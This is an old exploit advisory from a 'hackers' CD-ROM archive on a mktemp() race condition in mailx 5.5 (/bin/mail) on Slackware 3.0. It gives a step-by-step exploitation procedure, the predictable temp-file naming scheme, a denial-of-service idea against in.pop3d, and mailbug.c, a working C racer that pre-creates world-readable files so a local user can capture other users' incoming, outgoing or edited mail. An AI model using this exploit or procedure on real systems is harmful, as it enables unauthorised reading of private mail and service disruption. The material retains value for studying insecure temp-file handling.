home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-~5.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  8.7 KB  |  172 lines

  1.  
  2.  
  3.  
  4.  
  5. FEH
  6.  
  7.              Linux 'mailx' Security Holes
  8.  
  9.  
  10.  
  11.  
  12.  
  13.    There is a problem prevalent in the way many programs implement their
  14.  
  15. usage of mktemp() in order to create temporary files in /tmp, allowing users
  16.  
  17. on a machine to read and write to the contents of temporary files created. 
  18.  
  19.    The basic problem is that there is a race condition that exists between
  20.  
  21. the point that a program calls mktemp(), and the pathname returned by mktemp
  22.  
  23. is actually created.  For some programs, the file creation is immediately
  24.  
  25. or almost immediately following the mktemp(), resulting in an extremely
  26.  
  27. small window of opportunity, and as a result making it very difficult to
  28.  
  29. exploit.  However, there are other programs that do not immediately open
  30.  
  31. the file, and in these cases it is only a matter of getting the timing
  32.  
  33. right in order to exploit the hole.  
  34.  
  35.    To exploit this hole, simply create the file that mktemp() returns as 
  36.  
  37. a valid temporary filename after mktemp() has been called, but before the
  38.  
  39. file has been opened, allowing the user running the program permissions to
  40.  
  41. read and write from that temporary file.  The program will then succeed in
  42.  
  43. an fopen, and will write to the file, oblivious to the fact that it didn't
  44.  
  45. actually create the file, and that others can also read and write from the
  46.  
  47. file.  
  48.  
  49.    Note that most programs will immediately unlink() a temporary file, but
  50.  
  51. that does not delete it until after it is closed.  Closing a file results in
  52.  
  53. the contents of it being flushed, and so by using a 'tail -f' or a similar
  54.  
  55. procedure, you can capture the contents of the file before it is removed
  56.  
  57. from the filesystem.
  58.  
  59.    The filename returned by mktemp() is easily determined for most unix
  60.  
  61. platforms, allowing this bug to be exploited.  For the linux libc, this is
  62.  
  63. to replace the X's in the template with the leftmost digit starting at 'a',
  64.  
  65. and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file
  66.  
  67. already exists), and then replacing the rest of the X's with the process id
  68.  
  69. (0 padded).  Other operating systems use a variation of this technique,
  70.  
  71. experimentation easily reveals the algorithm.
  72.  
  73.    The generic procedure used to formulate an exploit for a particular program
  74.  
  75. with this bug is as follows:
  76.  
  77.           1. detect the execution of the program.
  78.  
  79.           2. determine the temporary filename that mktemp() will return
  80.  
  81.              when called by the program.
  82.  
  83.           3. determine the point at which mktemp() is called by the program,
  84.  
  85.              and immediately following that point, create the file, with
  86.  
  87.              rw permissions for the user who is running the program.
  88.  
  89.           4. read the contents of the temporary file, using a 'tail -f' or
  90.  
  91.              your own routines.
  92.  
  93.           5. if the sticky bet is set on /tmp, clean up your mess by rm'ing
  94.  
  95.              the temp file you created, since the unlink() called by the
  96.  
  97.              actual program will fail if you are the owner.
  98.  
  99.  
  100.  
  101.    Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers
  102.  
  103. from this mktemp() problem in all temporary files it creates.  It uses 5
  104.  
  105. temporary files with filenames generated during the program's initialization
  106.  
  107. in a tinit() function, and then uses them as it becomes necessary during the
  108.  
  109. program's execution.  The race condition begins in this tinit() function.
  110.  
  111. The temporary files that can be exploited are as follows:
  112.  
  113.    /tmp/ReXXXXXX
  114.  
  115.        Used when a user selects 'e' from the mailx command prompt, to edit
  116.  
  117.        mail.  The message the user has selected to edit is copied to the 
  118.  
  119.        temporary file at this point, and then the editor is invoked on that
  120.  
  121.        temp file.  The race condition ends when the user has selected 'e', 
  122.  
  123.        and allows the mesage being edited to be read.
  124.  
  125.    /tmp/RsXXXXXX
  126.  
  127.        Used when a user sends mail, usually from the command line, such as:
  128.  
  129.        'mail dave'.  The race condition ends when EOF is recieved from stdin, 
  130.  
  131.        and the message is about to be sent, and allows the outgoing mail to
  132.  
  133.        be read.
  134.  
  135.    /tmp/RqXXXXXX
  136.  
  137.        Used when mail arrives into the mail spool while mail is currently
  138.  
  139.        running.  The race condition ends when the program is preparing to
  140.  
  141.        shutdown, and allows the new contents of the mail spool to be read.
  142.  
  143.    /tmp/RmXXXXXX
  144.  
  145.        Used to prepend a message to the user's mbox file.  Prepending
  146.  
  147.        requires the entire mbox contents to be read to the temporary file
  148.  
  149.        and then appened to the new message(s) being added to the file.  
  150.  
  151.        This is disabled by default in Slackware 3.0 in the /etc/mail.rc
  152.  
  153.        by the use of the set append option.  For this to be useful, that
  154.  
  155.        option needs to be removed from /etc/mail.rc, or an unset append
  156.  
  157.        needs to be added to the user executing mail's .mailrc file.  The
  158.  
  159.        race condition ends when the program is preparing to shutdown
  160.  
  161.    /tmp/RxXXXXXX
  162.  
  163.        Used to read messages from the user's mail spool.  The race condition
  164.  
  165.        ends during the program's startup, when the mail spool is read, and
  166.  
  167.        allows any new mail in the user's spool to be read.  Because there
  168.  
  169.        is no user input between tinit() and this point, it is the only
  170.  
  171.        race condition that isn't completely trivial to exploit.
  172.  
  173.  
  174.  
  175.    The exploit that follows demonstrates the flaws in all but the final
  176.  
  177. temporary file.  To use, wait for a mail process to execute, then call the
  178.  
  179. mailbug program with the process id as an argument, and finally execute a
  180.  
  181. tail -f /tmp/R*, and let it run until the mail program has terminated
  182.  
  183. execution.
  184.  
  185.    As an aside, there are a number of programs that are vulnerable to a
  186.  
  187. directed denial of service attack preventing people from using them by
  188.  
  189. creation of the 62 temporary files that are attempted to be used by mktemp(),
  190.  
  191. resulting in the failure of the program to run.  By continous running of a
  192.  
  193. program watching for these vulnerable programs to start, they can be prevented
  194.  
  195. from ever successfully executing (one such example of this is in.pop3d, which
  196.  
  197. would allow a denial of service attack against a specific user from recieving
  198.  
  199. mail through pop).
  200.  
  201.  
  202.  
  203.                    Program: mailx-5.5 (/bin/mail)
  204.  
  205. Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5
  206.  
  207.               Requirements: account on system, user using /bin/mail
  208.  
  209.            Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else)
  210.  
  211.        Security Compromise: any user with an account can read incoming, edited,
  212.  
  213.                             or outgoing mail if the mail is processed by mailx.
  214.  
  215.                   Synopsis: The predictability of mktemp() is exploited to
  216.  
  217.                             create the temporary files after the filenames
  218.  
  219.                             have been determined but before they are actually
  220.  
  221.                             created, allowing the mail being dumped to those
  222.  
  223.                             temporary files to be read by the creator of the
  224.  
  225.                             files.
  226.  
  227.  
  228.  
  229. mailbug.c:
  230.  
  231. /* This program creates temporary files used by mailx (/bin/mail under
  232.  
  233.    Slackware 3.0), which can then be read by the program.  This will
  234.  
  235.    exploit 4 of the 5 temporary files, the final temporary file is a 
  236.  
  237.    tighter race condition, and is not handled by this code.
  238.  
  239.    Following execution of this program with the process id of mail that
  240.  
  241.    is running, execute 'tail -f /tmp/R*', redirecting to a file if desired,
  242.  
  243.    and allow it to run until the mail process has exited.  This can be easily
  244.  
  245.    handled in a shell script, but is not included since it is not needed to
  246.  
  247.    sufficiently demonstrate the security flaw. 
  248.  
  249.  
  250.  
  251.  */
  252.  
  253.  
  254.  
  255.  
  256.  
  257. #include <stdio.h>
  258.  
  259. #include <sys/stat.h>
  260.  
  261. #include <sys/types.h>
  262.  
  263. #include <fcntl.h>
  264.  
  265.  
  266.  
  267. void exploit_mktemp(char *dest, char *prepend, char *pid)
  268.  
  269. {
  270.  
  271.   int i;
  272.  
  273.  
  274.  
  275.   strcpy(dest,prepend);
  276.  
  277.   for(i=strlen(pid);i<6;i++) 
  278.  
  279.     strcat(dest,"0");
  280.  
  281.   strcat(dest,pid);
  282.  
  283.   dest[strlen(prepend)] = 'a';
  284.  
  285. }
  286.  
  287.  
  288.  
  289.   
  290.  
  291. main(int argc, char **argv)
  292.  
  293. {
  294.  
  295.   char tmpf[5][80];    /* hold filename */
  296.  
  297.   
  298.  
  299.   umask(0);
  300.  
  301.   
  302.  
  303.   if(argc<2)
  304.  
  305.     {
  306.  
  307.       printf("mailbug racer\nSyntax: %s process-id\n",argv[0]);
  308.  
  309.       return -1;
  310.  
  311.     }
  312.  
  313.   
  314.  
  315.   /* get mktemp filenames */
  316.  
  317.   exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]);
  318.  
  319.   exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]);
  320.  
  321.   exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]);
  322.  
  323.   exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]);
  324.  
  325.  
  326.  
  327.   
  328.  
  329.   /* create temporary files */
  330.  
  331.   creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  332.  
  333.   creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  334.  
  335.   creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  336.  
  337.   creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  338.  
  339.   
  340.  
  341. }
  342.  
  343.